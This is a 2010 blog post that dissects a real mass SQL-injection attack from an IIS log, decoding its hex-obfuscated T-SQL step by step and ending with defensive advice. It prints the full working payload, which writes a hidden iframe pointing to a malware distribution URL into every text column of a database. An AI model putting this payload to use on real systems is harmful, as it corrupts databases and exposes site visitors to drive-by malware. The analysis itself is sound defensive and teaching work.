Good midday, 54.196.72.162.
Today is monday the 23rd of October 2017. The time is 13:39:01 and it's week number 43.

(2010-08-09) De-mystifying an SQL-injection

I’ve written a lot about security and politics lately, but I’m a technician at heart, so I think it’s time to dig into security from a technical stand point. So today, let’s take one of the many SQL-injection attacks out there on the Internet and pick it apart. The code has been urlcoded, so it cannot harm your web browser. Had that not been the case, it would have been too late anyway.

A few words of warning

The attack is a very real and fully functional attack that you must not put into an SQL-editor connected to a database server and “run it just to test”. It may actually work and then, congratulations, you’re in deep trouble. Infecting your own database server running as a virtual machine on a private network is probably just fine, as long as you treat it with a flame thrower afterwards. Remember, it’s like having your own vial with a frozen Ebola-virus. It will be fun until it spreads. Ok, let’s be fair, this attack is not a virus or even a worm. It is the effect of a worm or more likely a program scanning all subnets it can find. The difference between the two is that the worm spreads and attacks from servers it has conquered. But I digress…

The semi fictitious scenario

You get an alert from someone claiming to see something weird in the log of a Microsoft IIS server and they believe you’re the expert on the matter. So you logon to the server, but have no idea where to look. The person who alerted you have no idea which log it was and only a vague idea as to when.

This might seem hopeless, but a bit of deductive logic goes a long way. When you open the IIS manager console, you note that all websites store their logs under d:\wwwlogs. So you use the built in search function to search through all *.log-files created during the last week for … Yeah, for what? Good question. This could be tricky, but there has to be something that sticks out in an attack. Searching for ‘ and SELECT does nothing. This is weird you think. But recently you read something about hackers using CAST and VARCHAR. You type that into the search box and restart the search.

Good news: Bingo, you got a hit from the logs.

Bad news: It looks like this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt(0X6465434C417245204054205661526368417228323535292C40632056417243
6861522832353529204445436C615245205441426C655F637552734F5220637572736F5220664F
522053656C45637420612E4E414D452C622E6E414D452046524F4D207379734F626A6543747320
612C735973434F4C754D6E73206220774865726520612E49643D422E496420616E6420612E7874
7970653D27552720616E642028422E78747950653D3939206F5220622E78547970653D3335206F
5220422E78747970653D323331206F7220422E78547970453D31363729204F70656E205461624C
455F635552734F52206645544348206E4578542046726F4D205461626C455F637552736F722049
6E744F2040742C4063205768494C6528404066455443685F7374617455733D302920426547696E
20457845632827757044617465205B272B40742B275D20536554205B272B40632B275D3D727472
696D28634F4E5665727428766152634861522834303030292C5B272B40632B275D29292B634173
742830583343363936363732363136443635323037333732363333443232363837343734373033
413246324636453635364436463638373536393643363436393639364532453732373532463734
363437333246363736463245373036383730334637333639363433443331323232303737363936
343734363833443232333032323230363836353639363736383734334432323330323232303733
373437393643363533443232363436393733373036433631373933413645364636453635323233
453343324636393636373236313644363533452041732056615243684152283130362929272920
4665744348204E4558742046724F6D205461624C455F635572734F7220694E744F2040542C4063
20456E6420436C6F7345205461626C455F435552736F72204445614C4C4F63615445205461424C
655F437572734F5220%20aS%20VARcHar(4000));eXEc(@s);-- 80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

Fantastic. What they Sam Hill are we looking for here? A part of the log entry makes sense, though.

2010-08-10 15:17:49 192.168.13.13 GET /company/login.asp subPage=form.asp&nr=2&amp

Someone tried to access the login-script on one of the web sites. You use the directory name the log was created under to figure out which site it is. It’s called W3C1. The IIS manager tells you that this site hosts the web application called MuchoSell under www.ericade.net. So it must be http://www.ericade.net/muchosell/login.asp.

The tail end of the log entry also makes sense:
80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

The attack was against port 80 (standard for web sites), it came from 666.666.666.666 and it claimed to use Internet Explorer 7. It also got a http code 200 back. That means the transaction executed successfully. Is that good or bad in this case?

You probably know that 666.666.666.666 is an impossible ip-address. It’s like those 1-555- telephone numbers you see in Hollywood movies.

But the rest of the code, what is it good for? It really looks kind of useless. Does it even mean something? Yes, it does. A bit of history: the intrusion detection systems that many organizations use can detect SQL-statements sent as parameters in urls. This is bad news for the cracker, and hence the need for obfuscation. The SQL-server actually decodes the weird characters and then interprets them. So if that’s possible, shouldn’t we be able to do the same? The answer is off course yes.

The text is not encrypted; it’s just encoded as hex decimal characters. We need a tool to decode it. Your weapon of choice is “ASCII Hex URL Decoder”, available from http://urldecoder.codeplex.com/. But when you try pasting the text into the program you get an error message stating that “the code must be wrapped in a CAST” statement. CAST is not what you ended up with on your leg after that horrible ski-trip. It’s actually a transact-sql statement telling SQL that it should change one format into another. In this case hex code into varchar. Varchar is a text string, so the CAST-statement must decode it to make it a varchar. After changing the mixed case text to read CAST(0x6 … VARCHAR(4000)) the decoding works and you end up with:

deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+cAst(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6
469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865
696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D6
53E As VaRChAR(106))') FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR

But wait, what’s in the middle of that text? Another set of hex-coded stuff? Yup, hackers love double encoding their attack code to subvert security scanners.

Running the remaing hex code through the decoder yields:

<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>

And put all together, you get this:

2010-08-10 15:17:49 192.168.13.13 GET /muchosell/login.asp subPage=form.asp&amp;nr=2&amp;subLink=2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=deCLArE @T VaRchAr(255),@c VArChaR(255) DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) Open TabLE_cURsOR fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0) BeGin ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>') FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c End ClosE TablE_CURsor DEaLLOcaTE TaBLe_CursOR;eXEc(@s);-- 80 - 666.666.666.666 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+2.0.50727) 200

You fix the mixed case characters and the final code is:

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;DECLARE @s VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@c VARCHAR(255) DECLARE TABLE_CURSOR CURSOR fOR SELECT a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b WHERE a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167) OPEN TABLE_CURSOR FETCH NEXT FROM TABLE_CURSOR INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@t+'] SET ['+@c+']=rtrim(CONVERT(VARCHAR(4000),['+@c+']))+<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>') FETCH NEXT FROM TABLE_CURSOR INTO @T,@c END CLOSE TABLE_CURSOR DEALLOCATE TABLE_CURSOR;EXEC(@s);--

Sweet! But what does it do, and did it work?

Now this is where it gets tricky. I’ll try to pick it apart for you.

GET /muchosell/login.asp subPage=form.asp&nr=2&subLink=2;

This is the start of the GET statement that normally comes from a web browser, but in this case it’s from the attack program instead. It request that web server runs login.asp with three parameters: subpage, nr and subLink. The attack starts with subLink. The attack program has somehow figured out that subLink expects a number. It could have done that by looking at the links on the site that use those parameters. So it does not use the standard apostrophe to break out of the SQL-statement, since it’s likely not used in the code. Remember that SELECT * FROM table WHERE id=2 is valid for numerical values, whereas SELECT * FROM table WHERE name=’Erik’ requires apostrophes. This is also why escaping apostrophes does not fix all security holes, since the apostrophes are not used with numbers. Damn!

Then it continues by adding 2;DecLArE%20@s%20VarCHAR(4000);SET%20@S=CASt (…) to the parameter. It obviously expects this to go through unhindered to the database layer. And %20 is just urlcode for white space. Let’s rip it apart.

2;

The innocent 2 and a semi-colon which means “end of statement.”

DecLArE @s VarCHAR(4000);

This part creates a variable called s and casts it as VARCHAR with up to 4000 characters of readable bytes.

SET @S=CASt(

This part sets “s” as the result of running cast on the long stream of hex coded gibberish. The result fed into s is clear text, since it has been decoded. When done, s is set to:

deCLArE @T VaRchAr ( … blah blah blah …) TaBLe_CursOR

Quite interesting stuff in that s-variable, no? Yeah, my interests are a bit weird, I know…

;EXEC(@s);--

And the grand finally, run whatever you put into the s-variable on the SQL-server.

Ok, that begs the question, what does the code stored in “s” do? We have to pick that apart too. Got a headache yet? Good! Here’s what was decoded and put into s:

deCLArE @T VaRchAr(255),

The variable T is a string of characters with up to 255 characters.

@c VArChaR(255)

The variable c is another string of characters with up to 255 characters.

DEClaRE TABle_cuRsOR cursoR fOR SelEct a.NAME,b.nAME FROM sysObjeCts a,sYsCOLuMns b wHere a.Id=B.Id and a.xtype='U' and (B.xtyPe=99 oR b.xType=35 oR B.xtype=231 or B.xTypE=167)

This statement is geared towards a Microsoft SQL server and it tries to get a list of all tables and their fields for tables that are user-created. It does not specify a database, so the statement uses whatever database the database user has set as their default. The result is presented as a cursor called TABLE_CURSOR. A cursor is mechanism to manipulate a data set. TABLE_CURSOR makes the names of the aforementioned tables and fields available. This is the list of targets in the database that the script will inject the code into.

Open TabLE_cURsOR

Once created, the cursor is opened.

fETCH nExT FroM TablE_cuRsor IntO @t,@c WhILe(@@fETCh_statUs=0)

It then feeds the data into the variables t and c and iterates through the statements below until it runs out of data. T is the table and c is the column (field). The statement iterates through all fields in all tables.

BeGin

Begin starts a block of statements belonging together.

ExEc('upDate ['+@t+'] SeT ['+@c+']=rtrim(cONVert(vaRcHaR(4000),['+@c+']))+cAst(0X3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6
469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865
696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D6
53E As VaRChAR(106))')

Exec runs an update on all rows changing the data under the column specified in @c in the table specified in @t. The "rtrim(cONVert(vaRcHaR(4000),['+@c+']))" part makes sure that the already present data is retained and the data it then tries to add is decoded as “<iframe src="http://nemohuildiin.ru/tds/go.php?sid=1" width="0" height="0" style="display:none"></iframe>”.

FetCH NEXt FrOm TabLE_cUrsOr iNtO @T,@c

Gets the next victim from the list and feeds into the variables T and c.

End

Ends the statements. Now it iterates through everything between BEGIN and END again, if there’s anything left to get with TABLE_CURSOR.
When the run through of TABLE_CURSOR is done, it’s closed.

ClosE TablE_CURsor

Closing the cursor.

DEaLLOcaTE TaBLe_CursOR

Nice of it to actually clean up after trashing the place.

So in short, it feeds the iframe-code into every column for every row it can get its hand on, oh the humanity!

That’s all good and fine, but did the attack succeed? Nothing so far gives us any information. Sorry, there are no good clues in this log. Or are there? The code references “sysObjects” and “sysColumns”, which only exist in Microsoft SQL server. It also uses semi-colons, which makes sure it will never work on a MySQL-based server. If you know that the SQL-backend is running anything else that Microsoft SQL, this particular code will most likely not work at all.

That is a good start. But you must be sure, so you connect directly the SQL-server and go through the tables in the database that the web application uses. If the attack was successful, most fields would be filled with the <iframe>-code.

But you’re not satisfied, so you download firebug to your Firefox browser and make sure both are patched to the latest version. You also run them on a virtual machine that is setup with a non-persistent disk to prevent the infection from surviving a reboot. Then you surf to the site and use Firebug to go through the code, searching for the pesky <iframe>.

If all those three things show no evidence of a successful attack, you’re probably in the clear. I said “probably”. Good. Next up for you is a cup of coffee and a chat with the developers.

The attack works the same way some burglars try to open every door on every house in a neighborhood. If the door does not open, they try the next one. There are often people forgetting to lock their doors when they get home. And there are many web servers not properly secured.

What must be done to secure a web application depends on how the application is built, but there are a few general rules:

Input must be cleaned and preferably checked. A parameter expecting a number must not accept anything else. All input data must have a maximum and a minimum size. Everything that does not fit the constraints must be stripped or discarded.

The web application must not have more permissions or privileges than it needs. E.g. does it really need exec-privileges?

The code must not echo error messages from the database layer. Create a connection object and verify if it returns an error. In that case, print a generic error like “The application has experienced a problem and your request could not be completed. Please call your system administrator.”

At the end of the day you hopefully get to write a report stating that you sound the “all clear” but recommend a code review and a security analysis. On a very sensitive system, you might want to suggest that the manager contact a company specializing in penetration testing.

Posted: 2010-08-09 by Erik Zalitis
Changed: 2010-08-12 by Erik Zalitis

News archive